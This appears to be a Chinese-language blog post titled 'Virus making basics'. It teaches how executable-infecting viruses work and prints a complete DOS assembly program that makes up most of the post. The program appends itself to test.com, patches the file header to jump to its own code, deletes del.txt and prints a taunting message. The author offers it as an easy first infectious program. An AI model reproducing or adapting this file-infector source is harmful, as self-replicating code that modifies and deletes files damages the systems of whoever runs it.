zoukankan      html  css  js  c++  java
  • 病毒制作初步

    病毒的编写是一种高深技术,真正的病毒一般都具有:传染性、隐藏性(又称潜 伏性)、破坏性。现在的病毒种类也不少,如平常的传染可执行文件的病毒、宏病毒等等。但原始的、破坏性最大的病毒还是传染可执行文件的病毒(像CIH病 毒),而这些病毒一般都是用汇编语言编写的。有许多人对病毒有着好奇和向往,但是往往又因为汇编语言的难学等问题望而却步。 这篇文章就是教给大家如何制作一个简单的程序,这个程序虽然算不上病毒但是具有病毒的传染性,而往往病毒的传染性是平常人最难做到的。 好啦,现在转入正题,先讲讲病毒是如何传染的,传染后又如何在被染的文件中执行的,其实道理非常简单:病毒一般将其代码写入执行文件的尾部,然后使执行文件在执行时先执行文件尾部的病毒代码,然后再跳回原代码处执行。现在举一个试例进行说明: ;----------------------------------------- ;功能:感染当前文件夹的test.com文件 ; 并删除当前文件夹的del.txt文件 ; 显示预设的字符串 CSEG SEGMENT ASSUME CS:CSEG,DS:CSEG,SS:CSEG main PROC NEAR mainstart: CALL vstart ;病毒的代码开始处 vstart: POP SI ;得到当前地址 MOV BP,SI ;保存当前地址 PUSH SI MOV AH,9 ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 MOV DX,SI INT 21h POP SI ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节 MOV DI,100h ;目的地址 MOV AX,DS:[SI] ;开始复制 MOV DS:[DI],AX INC SI INC SI INC DI INC DI MOV AX,DS:[SI] MOV DS:[DI],AX MOV SI,BP ;恢复地址值 MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 ADD DX,SI MOV AL,02 MOV AH,3dh ;写文件 INT 21h JC error MOV BX,AX ;文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 ADD DX,SI MOV CX,4 MOV AH,3fh INT 21h MOV AX,4202h ;到文件尾 XOR CX,CX XOR DX,DX INT 21h MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 ADD DI,2 ADD DI,SI SUB AX,4 MOV DS:[DI],AX ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒 MOV DX,SI MOV vsizes,OFFSET vends-OFFSET mainstart MOV CX,vsizes MOV AH,40h INT 21h MOV SI,BP ;定位到文件头 MOV AL,0 XOR CX,CX XOR DX,DX MOV AH,42h INT 21h MOV AH,40h ;将新的文件头写入 MOV CX,4 MOV DX,OFFSET new4byte-OFFSET vstart ADD DX,SI INT 21h MOV AH,3eh ;关闭文件 INT 21h error: MOV AX,100h PUSH AX RET main ENDP yuan4byte: RET DB 3 DUP (?) vsizes DW 0 new4byte DB ‘M‘,0e9h,0,0 filename DB "test.com",0 delname DB "del.txt",0 message DB "He he he he!" DB 0dh,0ah,"$" vends: start: MOV AX,CSEG MOV DS,AX MOV SS,AX CALL main MOV AX,4c00h INT 21h CSEG ENDS END start 以上就是一个简单的可以传染COM文件的程序代码, 也是想当初我所做的具有传染性质的第一个程序。如何???不难吧。 附: COM文件执行时将COM文件内所的所有内容COPY到内存, 起始地址是100,然后进行执行没有任何有关节啦、段啦这些属性,所以COM文件病毒是最简单最简单的病毒。
  • 相关阅读:
    分层图最短路(DP思想) BZOJ2662 [BeiJing wc2012]冻结
    动态规划 BZOJ1925 地精部落
    线性DP SPOJ Mobile Service
    线性DP codevs2185 最长公共上升子序列
    数位DP POJ3208 Apocalypse Someday
    线性DP POJ3666 Making the Grade
    杨氏矩阵 线性DP? POJ2279 Mr.Young's Picture Permutations
    tarjan强连通分量 洛谷P1262 间谍网络
    树链剖分 BZOJ3589 动态树
    二分图 BZOJ4554 [Tjoi2016&Heoi2016]游戏
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327058.html
Copyright © 2011-2022 走看看